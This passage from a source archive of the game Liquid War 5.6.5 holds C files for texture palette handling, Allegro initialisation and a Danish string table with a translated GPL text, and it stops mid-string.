/*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern void lw_langde_init (); extern char *lw_langde_string (int id); #endif liquidwar-5.6.5/src/texture.c0000664000372000037200000003315213407756104015600 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : texture.c */ /* contenu : lecture des textures depuis la memoire */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" #include "alleg2.h" #include "bigdata.h" #include "texture.h" #include "disk.h" #include "palette.h" #include "startup.h" #include "log.h" #include "serial.h" #include "macro.h" #include "path.h" #include "serial.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_TEXTURE_RANDOM_MAX_RETRIES 10000 /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* gestion des bitmaps des textures */ /*------------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ static int find_color (PALETTE pal, RGB rgb) { int i, found = -1; for (i = 0; i < 256 && found < 0; ++i) if (pal[i].r == rgb.r && pal[i].g == rgb.g && pal[i].b == rgb.b) found = i; return found; } /*-----------------------------------------------------------------*/ static int exist_color (PALETTE pal, RGB rgb) { return (find_color (pal, rgb) >= 0); } /*-----------------------------------------------------------------*/ static int recalculate_number_of_colors (int max_number, BITMAP * bmp, PALETTE pal) { int i, x, y, n = 1; RGB color; PALETTE pal2; color = pal[getpixel (bmp, 0, 0)]; for (i = 0; i < 256; ++i) pal2[i] = color; for (y = 0; y < bmp->h && n < max_number; ++y) for (x = 0; x < bmp->w && n < max_number; ++x) { color = pal[getpixel (bmp, x, y)]; if (!exist_color (pal2, color)) pal2[n++] = color; } return n; } /*-----------------------------------------------------------------*/ static void create_new_palette (PALETTE dst, PALETTE src, BITMAP * bmp, int first_color, int number_of_colors) { int i, x, y, index; int nb_retries = 0; RGB color; x = random () % bmp->w; y = random () % bmp->h; color = src[getpixel (bmp, x, y)]; for (i = 0; i < 256; ++i) dst[i] = color; for (i = 1; i < number_of_colors;) { x = random () % bmp->w; y = random () % bmp->h; index = getpixel (bmp, x, y); color = src[index]; if ((!exist_color (dst, color)) || (nb_retries > LW_TEXTURE_RANDOM_MAX_RETRIES)) { dst[first_color + (i++)] = color; nb_retries = 0; } else { nb_retries++; } } } /*-----------------------------------------------------------------*/ static void correct_palette (PALETTE pal, int first_color, int number_of_colors) { int i; for (i = 0; i < first_color; ++i) { pal[i].r = 0; pal[i].g = 0; pal[i].b = 0; } for (i = first_color + number_of_colors; i < 256; ++i) { pal[i].r = 63; pal[i].g = 63; pal[i].b = 63; } } /*-----------------------------------------------------------------*/ static void create_converted_bitmap (BITMAP * bmp, PALETTE dst, PALETTE src, int first_color, int number_of_colors) { char corres[256]; int i, x, y, index; for (i = 0; i < 256; ++i) corres[i] = bestfit_color (dst, src[i].r, src[i].g, src[i].b); for (y = 0; y < bmp->h; ++y) for (x = 0; x < bmp->w; ++x) { index = corres[getpixel (bmp, x, y)]; index = (index < first_color || index >= first_color + number_of_colors) ? first_color : index; putpixel (bmp, x, y, index); } } /*------------------------------------------------------------------*/ static void red8col (BITMAP * bmp, PALETTE pal, int first_color, int number_of_colors) { PALETTE pal2; int i; for (i = 0; i < 256; ++i) pal2[i] = pal[i]; number_of_colors = recalculate_number_of_colors (number_of_colors, bmp, pal); create_new_palette (pal, pal2, bmp, first_color, number_of_colors); create_converted_bitmap (bmp, pal, pal2, first_color, number_of_colors); correct_palette (pal, first_color, number_of_colors); } /*------------------------------------------------------------------*/ static void texture_8to5 (BITMAP * bmp, PALETTE pal, void *result, int first_color, int number_of_colors, char *filename) { char *buffer; int pos = 0, pos8 = 0, x, y, i; char octet[5], toadd; int coul; char system_name_buffer[LW_TEXTURE_SYSTEM_NAME_SIZE + 1]; lw_serial_set_texture_header (result, (short) bmp->w, (short) bmp->h); buffer = ((char *) result) + 2 * sizeof (short); /* * We store the system name */ memset (system_name_buffer, 0, sizeof (system_name_buffer)); LW_MACRO_STRCPY (system_name_buffer, lw_path_get_system_name (filename)); memcpy (buffer, system_name_buffer, LW_TEXTURE_SYSTEM_NAME_SIZE); buffer += LW_TEXTURE_SYSTEM_NAME_SIZE; for (i = 0; i < number_of_colors; ++i) { buffer[pos++] = pal[first_color + i].r; buffer[pos++] = pal[first_color + i].g; buffer[pos++] = pal[first_color + i].b; } for (i = 0; i < 5; ++i) octet[i] = 0; for (y = 0; y < bmp->h; ++y) for (x = 0; x < bmp->w; ++x) { coul = getpixel (bmp, x, y) - first_color; toadd = 1 << pos8; octet[0] |= (coul & 1) ? toadd : 0; octet[1] |= (coul & 2) ? toadd : 0; octet[2] |= (coul & 4) ? toadd : 0; octet[3] |= (coul & 8) ? toadd : 0; octet[4] |= (coul & 16) ? toadd : 0; if (pos8 == 7 || (y == bmp->h - 1 && x == bmp->w - 1)) { for (i = 0; i < 5; ++i) { buffer[pos++] = octet[i]; octet[i] = 0; } pos8 = 0; } else pos8++; } } /*------------------------------------------------------------------*/ void * lw_texture_archive_raw (const char *filename) { int i, w, h, size = 0; BITMAP *bmp; PALETTE pal; char *result = NULL, *temp = NULL; char *f = (char *) filename; bmp = load_bitmap (filename, pal); if (bmp) { w = bmp->w; h = bmp->h; if (w > 0 && h > 0) { temp = malloc (size = 2 * sizeof (short) + LW_TEXTURE_SYSTEM_NAME_SIZE + 3 * TEXTURE_COLOR_NUMBER + ((w * h + 7) / 8) * 5); if (temp) { red8col (bmp, pal, 0, TEXTURE_COLOR_NUMBER); texture_8to5 (bmp, pal, temp, 0, TEXTURE_COLOR_NUMBER, f); } } destroy_bitmap (bmp); } if (temp) { result = malloc (size); if (result) { for (i = 0; i < size; ++i) { result[i] = temp[i]; } } free (temp); } return result; } /*------------------------------------------------------------------*/ static BITMAP * create_raw_texture (void *ptr, int first) { int x, y, pos8 = 0, color; char totest, *data; BITMAP *result; short w, h; data = ptr; lw_serial_get_texture_header (data, &w, &h); data += 2 * sizeof (short) + LW_TEXTURE_SYSTEM_NAME_SIZE + 3 * 32; result = my_create_bitmap (w, h); if (result) for (y = 0; y < h; ++y) for (x = 0; x < w; ++x) { totest = 1 << pos8; color = first + ((data[0] & totest) ? 1 : 0) + ((data[1] & totest) ? 2 : 0) + ((data[2] & totest) ? 4 : 0) + ((data[3] & totest) ? 8 : 0) + ((data[4] & totest) ? 16 : 0); putpixel (result, x, y, color); if (pos8 == 7) { data += 5; pos8 = 0; } else pos8++; } return result; } /*------------------------------------------------------------------*/ static void * get_raw_texture (int num) { void *texture = NULL; if (num > RAW_TEXTURE_NUMBER + RAW_MAPTEX_NUMBER + CHOOSE_COLOR_NUMBER - 1) num = RAW_TEXTURE_NUMBER + RAW_MAPTEX_NUMBER + CHOOSE_COLOR_NUMBER - 1; if (num >= CHOOSE_COLOR_NUMBER && num < CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER && LOADED_TEXTURE) { texture = RAW_TEXTURE[num - CHOOSE_COLOR_NUMBER]; } if (num >= CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER && num < CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER + RAW_MAPTEX_NUMBER && LOADED_MAPTEX) { texture = RAW_MAPTEX[num - (CHOOSE_COLOR_NUMBER + RAW_TEXTURE_NUMBER)]; } return texture; } /*------------------------------------------------------------------*/ static BITMAP * create_mono_texture (int first) { BITMAP *result; result = my_create_bitmap (1, 1); putpixel (result, 0, 0, first); return result; } /*------------------------------------------------------------------*/ static BITMAP * create_texture (int num, int first) { BITMAP *result; void *texture; texture = get_raw_texture (num); if (texture) { result = create_raw_texture (texture, first); } else { result = create_mono_texture (first); } return result; } /*------------------------------------------------------------------*/ BITMAP * lw_texture_create_bg (int num) { return create_texture (num, BG_TEXTURE_FIRST_COLOR); } /*------------------------------------------------------------------*/ BITMAP * lw_texture_create_fg (int num) { return create_texture (num, FG_TEXTURE_FIRST_COLOR); } /*------------------------------------------------------------------*/ char * lw_texture_get_system_name (int num) { static char result[LW_MAP_SYSTEM_NAME_SIZE + 1]; void *raw_texture; char *char_ptr; raw_texture = get_raw_texture (num); LW_MACRO_MEMSET0 (result); if (raw_texture) { char_ptr = (char *) raw_texture; memcpy (result, char_ptr + 4, LW_TEXTURE_SYSTEM_NAME_SIZE); } else { LW_MACRO_SPRINTF1 (result, "Color %d", num); } result[sizeof (result) - 1] = '\0'; return result; } liquidwar-5.6.5/src/execgen.h0000664000372000037200000001047613407756104015527 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : execgen.h */ /* content : code used to launch external programs */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_EXEC #define LIQUID_WAR_INCLUDE_EXEC /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* structs */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_exec_cmd (char *cmd); #endif liquidwar-5.6.5/src/init.c0000664000372000037200000002176113407756104015046 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : init.c */ /* contenu : installation d'allegro */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #ifdef DOS #include #endif #include "base.h" #include "config.h" #include "gfxmode.h" #include "init.h" #include "exit.h" #include "joystick.h" #include "log.h" #include "startup.h" #include "ticker.h" #include "sockgen.h" #include "lang.h" #include "asm.h" #include "capture.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ int LW_INIT_ALLEGRO_OK = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void display_success (int success) { if (success) log_println_str (" - success!"); else log_println_str (" - failed..."); log_flush (); /* delay (100); */ } /*------------------------------------------------------------------*/ void display_success_driver (char *driver) { log_print_str (" (driver=\""); log_print_str (driver); log_println_str ("\") - success!"); log_flush (); /* delay (100); */ } /*------------------------------------------------------------------*/ int init_all () { int result = 0; int graphics = 1, assembly = 1, config = 1, timer = 1, keyboard = 1, mouse = 1, sound = 1, joystick = 1, network = 1; /* * we use srand to garantee that random() won't return the same values * each time the game is run */ srandom (time (NULL)); set_startup (); log_init (); lw_lang_init (); set_uformat (U_ASCII); log_print_str ("Starting Allegro (http://www.talula.demon.co.uk/allegro)"); display_success (graphics = !allegro_init ()); log_println (); if (graphics) { LW_INIT_ALLEGRO_OK = 1; #ifdef DOS set_gfx_mode (GFX_TEXT, 0, 0, 0, 0); #endif log_print_str ("Allegro ID : "); log_println_str (allegro_id); log_println (); set_color_depth (8); set_color_conversion (COLORCONV_REDUCE_TO_256); /* * We check for potential struct size errors */ assembly = lw_asm_check_struct_align (); log_print_str ("Loading config options from \""); log_print_str (STARTUP_CFG_PATH); log_print_str ("\""); /* * We call this now only (after loading the options), for * options must be loaded for my_exit_close_button to work */ //set_window_close_button (TRUE); deprecated //set_window_close_hook (my_exit_close_button); deprecated set_close_button_callback (my_exit_close_button); display_success (config = load_config_options ()); log_print_str ("Installing timer"); timer = !install_timer (); if (timer) { display_success_driver ((char *) timer_driver->ascii_name); } else { display_success (0); } start_ticker (); log_print_str ("Installing keyboard"); keyboard = !install_keyboard (); if (keyboard) { display_success_driver ((char *) keyboard_driver->ascii_name); } else { display_success (0); } log_print_str ("Installing mouse"); mouse = install_mouse () != -1; if (mouse) { display_success_driver ((char *) mouse_driver->ascii_name); } else { display_success (0); } if (STARTUP_DIGI_CARD != DIGI_NONE || STARTUP_MIDI_CARD != MIDI_NONE) { log_print_str ("Installing sound"); sound = !install_sound (STARTUP_DIGI_CARD, STARTUP_MIDI_CARD, ""); if (!sound) { /* * OK, first init failed, now we try without the MIDI card, which * is where problems usually come from, especially under Linux */ sound = !install_sound (STARTUP_DIGI_CARD, MIDI_NONE, ""); } if (sound) { log_print_str (" (digi=\""); log_print_str ((char *) digi_driver->ascii_name); log_print_str ("\", midi=\""); log_print_str ((char *) midi_driver->ascii_name); log_print_str ("\")"); } display_success (sound); } if (STARTUP_JOYSTICK_ON) { log_print_str ("Installing joystick"); if (STARTUP_JOYSTICK_ON) joystick = !my_initialise_joystick (); if (joystick) { display_success_driver ((char *) joystick_driver->ascii_name); } else { display_success (0); } } log_print_str ("Setting up network"); display_success (network = lw_sock_init ()); /* * We update the "capture" mode */ lw_capture_set_mode (STARTUP_CAPTURE); } result = graphics && (assembly || !STARTUP_CHECK) && timer && keyboard && mouse && (sound || !STARTUP_CHECK) && (joystick || !STARTUP_CHECK); return (result); } /*------------------------------------------------------------------*/ int start_graphic (void) { int retour; retour = (!set_resolution (CONFIG_GFX_MENU, 0, CONFIG_FULLSCREEN, NULL)); return retour; } liquidwar-5.6.5/src/langdk.c0000664000372000037200000011076113407756104015342 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langdk.c */ /* content : handles Danish dependent stuff (locale) */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "lang.h" #include "langdk.h" #include "base.h" /*==================================================================*/ /* globals */ /*==================================================================*/ static char *LW_LANGDK_DATA[LW_LANG_NB_STRINGS]; /*------------------------------------------------------------------*/ /* initializes the string table */ /*------------------------------------------------------------------*/ void lw_langdk_init () { memset (LW_LANGDK_DATA, 0, sizeof (LW_LANGDK_DATA)); LW_LANGDK_DATA[LW_LANG_STRING_LANGUAGE] = "Dansk"; LW_LANGDK_DATA[LW_LANG_STRING_APPNAME] = "Liquid War " LW_VERSION; LW_LANGDK_DATA[LW_LANG_STRING_HELP_CREDITS] = "Idea: \n* Thomas Colcombet\n\nCoding: \n* Christian Mauduit\n\nMusic:\n* Tim Chadburn\n\nOther contributors:\n* Alstar\n* Peter Wang\n* Cort Danger Stratton\n* Jan Gretschuskin (www.game-factor.de)\n* Mouse\n* Rene Stach\n* Roderick Schertler\n* Ryan D. Brown\n* Eduard Bloch\n* Michael Terry\n* Kasper Hviid\n* David Redick\n* Alexandre Pineau\n* Michael Wagner\n* Peter Williams\n* Jan Samohyl\n* Gavin\n* Dave Vasilevsky\n* 2 of Omega\n* 666-REFIZUL-666\n* Thomas Klausner\n* Joan Dolc\n* Mikhail Yakshin\n* Valerie Mauduit\n* Florence Mauduit\n* Joey Dodson\n* Jan Szenborn\n\nMore informations on www.ufoot.org/liquidwar/v5\n"; LW_LANGDK_DATA[LW_LANG_STRING_HELP_COPYRIGHT] = "Liquid War er et flerpersoners krigsspil.\nCopyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org)\n\nDette program er frit software; Du kan kopiere og aendre det under betingelserne i GNU General Public License, udgivet af Free Software Foundation; enten version 2 af Licensen, eller (dit valg) hvilken som helst senere version.\n\nDette program er udgivet i haabet om at det er brugbart, men UDEN NOGEN SOM HELST GARANTI; ikke engang nogen indforstaaet garanti for BRUGBARHED eller BRUGBARHED TIL ET SPECIFIKT FORMAAL. Laes GNU General Public License for flere detaljer.\n\nDu skulle have modtaget en kopi af GNU General Public License sammen med dette program; hvis ikke, skriv til Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nMere information paa www.ufoot.org/liquidwar/v5\n"; /* * Stupid Microsoft VC++ can't handle strings over 2048 chars correctly, * (compiler error C2026) so we had to split this one... */ LW_LANGDK_DATA[LW_LANG_STRING_HELP_LICENSE] = "GNU GENERAL PUBLIC LICENSE\n2. version, juni 1991 \n\nCopyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \n\nEnhver har tilladelse til at kopiere og distribuere ordrette eksemplarer af dette licensdokument, men det er ikke tilladt at aendre det. \n\nForord \n\nDe fleste licenser paa software har til formaal at fjerne Deres ret til at dele softwaren med andre og aendre i det. I modsaetning hertil har GNU General Public License til formaal at garantere Deres ret til at dele og aendre frit software - for at sikre, at det paagaeldende software er tilgaengeligt for alle brugere. Denne licens, General Public License, er gaeldende for stoerstedelen af Free Software Foundations software samt for ethvert andet program, hvis ophavsmaend oensker at anvende licensen. (En del af Free Software Foundations programmer er i stedet omfattet af \"The GNU Library General Public License\".) De kan ogsaa anvende licensen til Deres programmer. \n\nVi taler om frit software - ikke gratis software. Dvs. vi taler om frihedsgraden, og ikke om prisen. Vores licenser, General Public Licenses, er udarbejdet med henblik paa at sikre Deres frihed til at distribuere kopier af frit software (og evt. tage betaling for denne ydelse) og at soerge for, at De modtager den paagaeldende kildetekst eller kan faa den, hvis De vil; at De kan aendre softwaren eller bruge dele af det til nye programmer; og at De er klar over, at De har disse rettigheder. \n\nFor at beskytte Deres rettigheder er vi noedt til at lave restriktioner, der forbyder andre at naegte Dem disse rettigheder eller kraeve, at De afstaar disse rettigheder. Disse restriktioner indebaerer visse forpligtelser for Dem, hvis De distribuerer kopier af softwaren eller aendrer det. \n\nHvis De f.eks. distribuerer kopier af et saadant program, enten gratis eller mod gebyr, er De forpligtet til at give modtagere alle de rettigheder, som De selv har. De skal sikre, at ogsaa modtagerne faar e" "ller kan faa fat paa kildeteksten. Desuden er De forpligtet til, at vise modtagerne disse betingelser, saa de ogsaa er bekendt med deres rettigheder. \n\nVi beskytter Deres rettigheder med en totrinsmodel: (1) vi tager ophavsret paa softwaren og (2) vi tilbyder Dem denne licens, der giver Dem juridisk ret til at kopiere, distribuere og/eller aendre softwaren. \n\nDesuden vil vi med henblik paa at beskytte os selv og de enkelte softwareproducenter sikre os, at alle er bekendte med, at der ikke ydes nogen garanti paa dette frie software. Hvis programmet er aendret af en anden og givet videre, vil vi have, at modtagerne skal vide, at deres version ikke er det originale program. Saaledes undgaar vi, at eventuelle problemer indarbejdet af andre ikke skader de oprindelige softwareproducenters ry. \n\nEndelig er ethvert frit program under konstant trussel fra softwarepatenter. Vi oensker at undgaa faren for, at de, der videregiver et frit program, personligt udtager patentlicens, hvorved programmet faktisk bliver beskyttet af ophavsret. For at undgaa dette har vi gjort det klart, at ethvert patent skal registreres til alles frie afbenyttelse eller slet ikke registreres. \n\nNedenfor foelger de betingelser og vilkaar, der gaelder i forhold til at kopiere, distribuere og aendre software under General Public License. \n\nBETINGELSER OG VILKAAR FOR KOPIERING, DISTRIBUTION OG AENDRING AF SOFTWARE UNDER GENERAL PUBLIC LICENSE \n\n0. Denne licens gaelder for ethvert program eller andet vaerk, som ved siden af navnet paa ophavsretindehaveren har en meddelelse om, at det paagaeldende produkt maa distribueres under de gaeldende betingelser for denne General Public License. I det foelgende henviser ordet \"Program\" til ethvert saadant program eller vaerk, og et \"Vaerk baseret paa Programmet\" betegner enten Programmet eller ethvert afledt vaerk i henhold til lovgivningen om ophavsret. Det betyder med andre ord et vaerk, der indeholder Programmet eller en del af det, enten ordret e" "ller aendret og/eller oversat til et andet sprog. (I det foelgende omfattes oversaettelser, uden begraensninger, af termen \"aendring\".) Enhver licenstager tiltales som \"De\". \n\nAktiviteter ud over kopiering, distribution og aendring er ikke daekket af denne licens men falder uden for dens omraade. Der er ingen restriktioner paa at koere Programmet, og outputtet fra Programmet er kun omfattet, hvis indholdet heraf udgoer et Vaerk baseret paa Programmet (uafhaengigt af at vaere blevet lavet ved at koere Programmet). Om dette er tilfaeldet, afhaenger af, hvad Programmet goer. \n\n1. De har ret til at kopiere og distribuere ordrette kopier af Programmets kildetekst, saaledes som De har modtaget den, i ethvert medium, under forudsaetning af, at alle kopier tydeligt og paa behoerig vis forsynes med en passende ophavsretmeddelelse og garantifraskrivelse; at alle meddelelser, der refererer til denne licens og den manglende garanti, bibeholdes; og at en kopi af denne licens vedlaegges, naar De distribuerer Programmet. \n\nDe har ret til at tage et gebyr for den fysiske handling at overfoere en kopi, og De kan eventuelt tilbyde garantibeskyttelse mod et gebyr. \n\n2. De har ret til at aendre Deres kopi eller kopier, eller en hvilken som helst del deraf, hvorved der skabes et Vaerk baseret paa Programmet, samt ret til at kopiere og distribuere saadanne aendringer eller vaerk i henhold til paragraf 1 ovenfor, forudsat De ogsaa opfylder foelgende betingelser: \nDe er forpligtet til at sikre, at de aendrede filer har en tydelig meddelelse om, at De har foretaget aendringer i filerne samt datoen herfor. \nDe er forpligtet til at sikre, at ethvert vaerk, som De distribuerer eller offentliggoer, der helt eller delvis indeholder Programmet, eller som er afledt af Programmet eller dele heraf, skal registreres til alles frie afbenyttelse i henhold til denne licens. \nHvis det aendrede program normalt laeser kommandoer interaktivt, naar det koeres, skal De sikre, at der ved starte" "n paa programkoerslen for interaktiv brug paa den mest normale vis udskrives eller vises en meddelelse, som indeholder behoerig ophavsretmeddelelse og garantifraskrivelse (eller alternativt tilkendegive, at De oensker at tilbyde garanti) samt fortaeller, at brugere har ret til videredistribuere Programmet under disse betingelser. Desuden skal meddelelsen orientere brugeren om, hvordan en kopi af denne licens kan vises. (Undtagelse: Hvis selve Programmet er interaktivt, men ikke normalt printer en saadan besked, kraeves det ikke, at Deres Vaerk baseret paa Programmet printer den omtalte besked.) \nDisse krav er gaeldende for det aendrede vaerk i sin helhed. Hvis identificerbare sektioner af vaerket ikke er afledt af Programmet, og hvis disse i sig selv med rimelighed kan anses for at vaere selvstaendige og separate vaerker, saa gaelder denne licens og dens betingelser ikke for de sektioner, naar De distribuerer dem som separate vaerker. Hvis De derimod distribuerer de samme sektioner som en del af et hele, der udgoer et Vaerk baseret paa Programmet, skal denne distribution vaere i overensstemmelse med licensens betingelser. De rettigheder, som licensen yder alle, udvides til det paagaeldende vaerk i sin helhed og gaelder saaledes for enhver del af vaerket, uanset ophavsmanden. \n\nDet er saaledes ikke vores hensigt med denne paragraf at paaberaabe os rettigheder eller bestride Deres rettigheder til vaerker skrevet af Dem alene. Hensigten er derimod at udoeve vores ret til at kontrollere distributionen af afledte vaerker eller kollektive vaerker baseret paa Programmet. \n\nHertil kommer, at forekomsten af et andet vaerk paa et lagrings- eller distributionsmedium, der indeholder Programmet eller et Vaerk baseret paa Programmet, medfoerer ikke, at det andet vaerk omfattes af betingelserne for denne licens. \n\n3. De har ret til at kopiere og distribuere Programmet (eller et Vaerk baseret paa Programmet i henhold til paragraf 2) i objektkode eller i eksekverbar form i h" "enhold til betingelserne i paragraf 1 og 2 under forudsaetning af, at De ogsaa foelger n af disse retningslinjer: \nProgrammet ledsages af den fuldstaendige maskinlaesbare kildetekst, der skal distribueres under de anfoerte betingelser i paragraf 1 og 2 ovenfor i et medium, der saedvanligvis bruges til udveksling af software; eller \nProgrammet ledsages af et skriftligt tilbud - gaeldende i mindst tre aar - om at give tredjemand den fuldstaendige maskinlaesbare kildetekst, der skal distribueres under de anfoerte betingelser i paragraf 1 og 2 ovenfor i et medium, der saedvanligvis bruges til udveksling af software, mod et gebyr, der maksimalt daekker Deres omkostninger ved rent fysisk at udfoere distributionen,; eller \nProgrammet ledsages af den information, som De modtog vedroerende tilbuddet om at distribuere kildeteksten. (Dette alternativ gaelder udelukkende for ukommerciel distribution, og kun hvis De har modtaget Programmet i objektkode eller i eksekverbar form med et saadant tilbud i henhold til stykke b ovenfor.) \nKildeteksten for et vaerk betyder den form af et givet vaerk, der foretraekkes som grundlag for at aendre det. For et eksekverbart vaerk betyder den fuldstaendige kildetekst hele kildeteksten for alle de moduler, det indeholder, plus eventuelle tilhoerende graenseflade-definitionsfiler plus de skripter, der anvendes til at kontrollere kompileringen og installeringen af det eksekverbare software. Helt undtagelsesvis behoever den kildetekst, der distribueres, dog ikke at indeholde noget, der normalt distribueres (enten i kildeform eller i binaer form) sammen med de stoerre komponenter i operativsystemet (compiler, kerneprogram, osv.), som det eksekverbare program koeres paa, medmindre den komponent selv ledsager det eksekverbare program. \n\nHvis distributionen af det eksekverbare program eller objektkoden foretages ved tilbud om adgang til at kopiere fra et angivet sted, regnes tilbud om tilsvarende adgang til at kopiere kildeteksten fra det samm" "e sted som distribution af kildeteksten, ogsaa selv om tredjemand ikke er tvunget til at kopiere kildeteksten sammen med objektkoden. \n\n4. De har kun ret til at kopiere, aendre, udstede underlicenser for eller distribuere Programmet som udtrykkeligt anfoert i de specifikke betingelser for licensen. Herudover er ethvert forsoeg paa at kopiere, aendre, udstede underlicenser for eller distribuere Programmet ugyldigt og medfoerer automatisk ophoer af Deres rettigheder i henhold til denne licens. Paa den anden side vil tredjemand, der maatte have modtaget kopier eller rettigheder fra Dem i henhold til denne licens, ikke miste sin licens saa laenge alle betingelser for licensen overholdes. \n\n5. De er ikke forpligtet til at acceptere denne licens, eftersom De ikke har skrevet under paa den. De har dog ingen anden mulighed for at faa tilladelse til at aendre eller distribuere Programmet eller dets afledte vaerker, og de handlinger er forbudt ved lov, 